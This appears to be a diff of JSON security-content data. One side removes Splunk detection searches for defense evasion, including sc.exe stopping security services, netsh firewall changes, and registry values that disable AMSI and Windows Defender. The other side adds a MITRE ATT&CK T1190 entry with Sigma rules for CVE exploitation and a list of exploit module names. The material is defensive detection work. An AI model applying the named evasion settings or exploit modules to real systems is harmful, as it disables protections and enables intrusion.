Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `add_or_set_windows_defender_exclusion_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "CISA AA22-320A", - "Data Destruction", - "Remcos", - "WhisperGate", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "exclusion command $process$ executed on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "Wired Russia Cyberwar", + "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/", + "external_id": "", + "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023." }, { - "name": "Allow File And Printing Sharing In Firewall", - "description": "The following analytic detects the modification of firewall settings to allow file and printer sharing. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving 'netsh' commands that enable file and printer sharing. This activity is significant because it can indicate an attempt by ransomware to discover and encrypt files on additional machines connected to the compromised host. If confirmed malicious, this could lead to widespread file encryption across the network, significantly increasing the impact of a ransomware attack.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` Processes.process= \"*firewall*\" Processes.process= \"*group=\\\"File and Printer Sharing\\\"*\" Processes.process=\"*enable=Yes*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `allow_file_and_printing_sharing_in_firewall_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious modification of firewall to allow file and printer sharing detected on host - $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.007", - "mitre_attack_technique": "Disable or Modify Cloud Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "Mandiant Fortinet Zero Day", + "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem", + "external_id": "", + "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023." }, { - "name": "Allow Network Discovery In Firewall", - "description": "The following analytic detects a suspicious modification to the firewall to allow network discovery on a machine. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving the 'netsh' command to enable network discovery. This activity is significant because it is commonly used by ransomware, such as REvil and RedDot, to discover and compromise additional machines on the network. If confirmed malicious, this could lead to widespread file encryption across multiple hosts, significantly amplifying the impact of the ransomware attack.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` Processes.process= \"*firewall*\" Processes.process= \"*group=\\\"Network Discovery\\\"*\" Processes.process=\"*enable*\" Processes.process=\"*Yes*\" by Processes.dest Processes.user Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `allow_network_discovery_in_firewall_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "NjRAT", - "Ransomware", - "Revil Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious modification to the firewall to allow network discovery detected on host - $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.007", - "mitre_attack_technique": "Disable or Modify Cloud Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "NVD CVE-2016-6662", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662", + "external_id": "", + "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018." }, { - "name": "Attempt To Stop Security Service", - "description": "The following analytic detects attempts to stop security-related services on an endpoint, which may indicate malicious activity. It leverages data from Endpoint Detection and Response (EDR) agents, specifically searching for processes involving the \"sc.exe\" command with the \"stop\" parameter. This activity is significant because disabling security services can undermine the organization's security posture, potentially leading to unauthorized access, data exfiltration, or further attacks like malware installation or privilege escalation. If confirmed malicious, this behavior could compromise the endpoint and the entire network, necessitating immediate investigation and response.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` OR Processes.process_name = sc.exe Processes.process=\"* stop *\" by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |lookup security_services_lookup service as process OUTPUTNEW category, description | search category=security | `attempt_to_stop_security_service_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Data Destruction", - "Disabling Security Tools", - "Graceful Wipe Out Attack", - "Trickbot", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified attempting to disable security services on endpoint $dest$ by user $user$.", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "NVD CVE-2014-7169", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169", + "external_id": "", + "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018." }, { - "name": "Disable AMSI Through Registry", - "description": "The following analytic detects modifications to the Windows registry that disable the Antimalware Scan Interface (AMSI) by setting the \"AmsiEnable\" value to \"0x00000000\". This detection leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows Script\\\\Settings\\\\AmsiEnable\". Disabling AMSI is significant as it is a common technique used by ransomware, Remote Access Trojans (RATs), and Advanced Persistent Threats (APTs) to evade detection and impair defenses. If confirmed malicious, this activity could allow attackers to execute payloads with minimal alerts, leading to potential system compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows Script\\\\Settings\\\\AmsiEnable\" Registry.registry_value_data = \"0x00000000\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.dest Registry.user | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_amsi_through_registry_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Disable AMSI Through Registry on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "Cisco Blog Legacy Device Attacks", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "external_id": "", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020." }, { - "name": "Disable Defender AntiVirus Registry", - "description": "The following analytic detects the modification of Windows Defender registry settings to disable antivirus and antispyware protections. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with Windows Defender policies. This activity is significant because disabling antivirus protections is a common tactic used by adversaries to evade detection and maintain persistence on compromised systems. If confirmed malicious, this action could allow attackers to execute further malicious activities undetected, leading to potential data breaches, system compromise, and further propagation of malware within the network.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\Policies\\\\Microsoft\\\\Windows Defender*\" Registry.registry_value_name IN (\"DisableAntiSpyware\",\"DisableAntiVirus\") Registry.registry_value_data = 0x00000001) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.user Registry.dest | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_antivirus_registry_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "OWASP Top 10", + "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", + "external_id": "", + "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018." }, { - "name": "Disable Defender BlockAtFirstSeen Feature", - "description": "The following analytic detects the modification of the Windows registry to disable the Windows Defender BlockAtFirstSeen feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path associated with Windows Defender SpyNet and the DisableBlockAtFirstSeen value. This activity is significant because disabling this feature can allow malicious files to bypass initial detection by Windows Defender, increasing the risk of malware infection. If confirmed malicious, this action could enable attackers to execute malicious code undetected, leading to potential system compromise and data breaches.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\Microsoft\\\\Windows Defender\\\\SpyNet*\" Registry.registry_value_name = DisableBlockAtFirstSeen Registry.registry_value_data = 0x00000001) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.user Registry.dest | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_blockatfirstseen_feature_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "IcedID", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018", + "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A", + "external_id": "", + "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020." + } + ], + "x_mitre_detectable_by_common_defenses": "", + "x_mitre_detectable_by_common_defenses_explanation": "", + "x_mitre_difficulty_for_adversary": "", + "x_mitre_difficulty_for_adversary_explanation": "", + "x_mitre_old_attack_id": "", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Network", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_tactic_type": [], + "x_mitre_version": "2.5", + "description": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "command_list": [ + "powershell/exploitation/exploit_jboss", + "powershell/exploitation/exploit_jenkins", + "powershell/lateral_movement/jenkins_script_console", + "python/exploit/web/jboss_jmx" + ], + "commands": [], + "queries": [ + { + "title": "Exploited CVE-2020-10189 Zoho ManageEngine", + "id": "846b866e-2a57-46ee-8e16-85fa92759be7", + "status": "experimental", + "description": "Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189", + "references": [ + "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "https://nvd.nist.gov/vuln/detail/CVE-2020-10189", + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10189", + "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224" + ], + "author": "Florian Roth", + "date": "2020/03/25", + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "logsource": { + "category": "process_creation", + "product": "windows" + }, + "detection": { + "selection": { + "ParentImage|endswith": "DesktopCentral_Server\\jre\\bin\\java.exe", + "Image|endswith": [ + "*\\cmd.exe", + "*\\powershell.exe", + "*\\bitsadmin.exe" + ] + }, + "condition": "selection" + }, + "falsepositives": [ + "Unknown" + ], + "level": "critical" }, { - "name": "Disable Defender Enhanced Notification", - "description": "The following analytic detects the modification of the registry to disable Windows Defender's Enhanced Notification feature. It leverages data from Endpoint Detection and Response (EDR) agents, specifically monitoring changes to the registry path associated with Windows Defender reporting. This activity is significant because disabling Enhanced Notifications can prevent users and administrators from receiving critical security alerts, potentially allowing malicious activities to go unnoticed. If confirmed malicious, this action could enable an attacker to bypass detection mechanisms, maintain persistence, and escalate their activities without triggering alerts.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*Microsoft\\\\Windows Defender\\\\Reporting*\" Registry.registry_value_name = DisableEnhancedNotifications Registry.registry_value_data = 0x00000001) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_enhanced_notification_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "IcedID", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "title": "Potential RDP Exploit CVE-2019-0708", + "id": "aaa5b30d-f418-420b-83a0-299cb6024885", + "description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708", + "references": [ + "https://github.com/zerosum0x0/CVE-2019-0708", + "https://github.com/Ekultek/BlueKeep" + ], + "tags": [ + "attack.initial_access", + "attack.lateral_movement", + "attack.t1210", + "attack.t1190", + "car.2013-07-002" + ], + "status": "experimental", + "author": "Lionel PRAT, Christophe BROCAS, @atc_project (improvements)", + "date": "2019/05/24", + "logsource": { + "product": "windows", + "service": "system" + }, + "detection": { + "selection": { + "EventID": [ + 56, + 50 + ], + "Source": "TermDD" + }, + "condition": "selection" + }, + "falsepositives": [ + "Bad connections or network interruptions" + ], + "level": "high" }, { - "name": "Disable Defender MpEngine Registry", - "description": "The following analytic detects the modification of the Windows Defender MpEngine registry value, specifically setting MpEnablePus to 0x00000000. This detection leverages endpoint registry logs, focusing on changes within the path \"*\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\MpEngine*\". This activity is significant as it indicates an attempt to disable key Windows Defender features, potentially allowing malware to evade detection. If confirmed malicious, this could lead to undetected malware execution, persistence, and further system compromise. Immediate investigation and endpoint isolation are recommended.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\MpEngine*\" Registry.registry_value_name = MpEnablePus Registry.registry_value_data = 0x00000000) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.user Registry.dest | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_mpengine_registry_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } + "title": "CVE-2020-0688 Exploitation via Eventlog", + "id": "d6266bf5-935e-4661-b477-78772735a7cb", + "status": "experimental", + "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", + "references": [ + "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/" + ], + "author": "Florian Roth", + "date": "2020/02/29", + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "logsource": { + "product": "windows", + "service": "application" + }, + "detection": { + "selection1": { + "EventID": 4, + "Source": "MSExchange Control Panel", + "Level": "Error" + }, + "selection2": [ + "*&__VIEWSTATE=*" ], - "message": "Modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "condition": "selection1 and selection2" + }, + "falsepositives": [ + "Unknown" + ], + "level": "high" + } + ], + "parsed_datasets": [], + "possible_detections": [ + { + "technique_id": "T1190", + "technique": "Exploit Public-Facing Application", + "tactic": [ + "initial-access" + ], + "platform": [ + "Windows", + "IaaS", + "Network", + "Linux", + "macOS", + "Containers" + ], + "data_source": "application log", + "definition": "Logs from events in third-party applications (mail server, web applications, etc.).", + "collection_layers": [ + "host", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS", + "SaaS", + "Office 365", + "Google Workspace" + ], + "contributors": [ + "ATT&CK" + ], + "data_component": "application log content", + "type": "information", + "description": "Data captured in an application log.", + "source_data_element": "application log", + "relationship": "contained", + "target_data_element": "application event entries", + "references": [ + "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" + ] }, { - "name": "Disable Defender Spynet Reporting", - "description": "The following analytic detects the modification of the registry to disable Windows Defender SpyNet reporting. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path associated with Windows Defender SpyNet settings. This activity is significant because disabling SpyNet reporting can prevent Windows Defender from sending telemetry data, potentially allowing malicious activities to go undetected. If confirmed malicious, this action could enable an attacker to evade detection, maintain persistence, and carry out further attacks without being flagged by Windows Defender.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\Microsoft\\\\Windows Defender\\\\SpyNet*\" Registry.registry_value_name = SpynetReporting Registry.registry_value_data = 0x00000000) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.user Registry.dest | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_spynet_reporting_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "IcedID", - "Qakbot", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "technique_id": "T1190", + "technique": "Exploit Public-Facing Application", + "tactic": [ + "initial-access" + ], + "platform": [ + "Windows", + "IaaS", + "Network", + "Linux", + "macOS", + "Containers" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + 